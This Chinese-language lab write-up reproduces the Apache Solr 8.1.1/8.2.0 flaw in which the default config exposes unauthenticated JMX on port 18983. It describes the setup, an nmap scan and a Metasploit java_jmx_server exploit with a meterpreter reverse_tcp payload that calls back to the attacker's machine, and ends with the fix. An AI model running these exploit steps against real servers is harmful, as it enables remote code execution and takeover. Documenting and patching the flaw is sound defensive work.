0x00簡介
solr是一個獨立的企業級搜索應用服務器,它對外提供類似于web-service的api接口。用戶可以通過http請求,向搜索引擎服務器提交一定格式的xml文件,生成索引;也可以通過http get操作提出查找請求,并得到xml格式的返回結果。
該漏洞源于默認配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS配置選項存在安全風險。
? apache Solr的8.1.1和8.2.0版本的自帶配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS=”true”選項。
如果使用受影響版本中的默認solr.in.sh文件,那么將啟用JMX監視并將其暴露在RMI_PORT上(默認值= 18983),
并且無需進行任何身份驗證。?如果防火墻中的入站流量打開了此端口,則具有Solr節點網絡訪問權限的任何人都將能夠訪問JMX,
? 并且可以上傳惡意代碼在Solr服務器上執行。該漏洞不影響windows系統的用戶,僅影響部分版本的linux用戶。
0x01影響版本
Apache Solr8.1.1版本上線時間:2019-05-28
Apache Solr8.2.0版本上線時間:2019-07-25
0x02漏洞危害
? 如果受害者使用了該默認配置,則會在默認端口18983開放JMX服務,且默認未開啟認證。任何可訪問此端口的攻擊者可利用此漏洞向受影響服務發起攻擊,執行任意代碼。
0x03環境搭建
Java環境和kali系統、Solr 8.20
Solr 8.20 下載地址:
wget?http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip
使用unzip solr-8.2.0.zip解壓
解壓完成后,切換到bin目錄啟動Solr
./solr ?start ?-force
啟動后訪問:http://192.168.10.176:8983/
0x04漏洞復現
攻擊機:kali IP:192.168.10.147
受害機:Ubuntu18.6中docker IP:192.168.10.184:8983
1、使用nmap掃描端口后發現18983端口開啟
2、使用Metasploit中的exploit/multi/misc/java_jmx_server模塊進行漏洞復現
??use exploit/multi/misc/java_jmx_server
??set RHOST 192.168.10.184
??set RPORT 18983
再來設置payload:java/meterpreter/reverse_tcp
??set payload java/meterpreter/reverse_tcp
??set LHOST?192.168.10.147
??set LPORT ?4444
3、使用run執行,即可看到成功建立連接
0x05修復建議
將solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS選項設置為false,然后重啟Solr服務。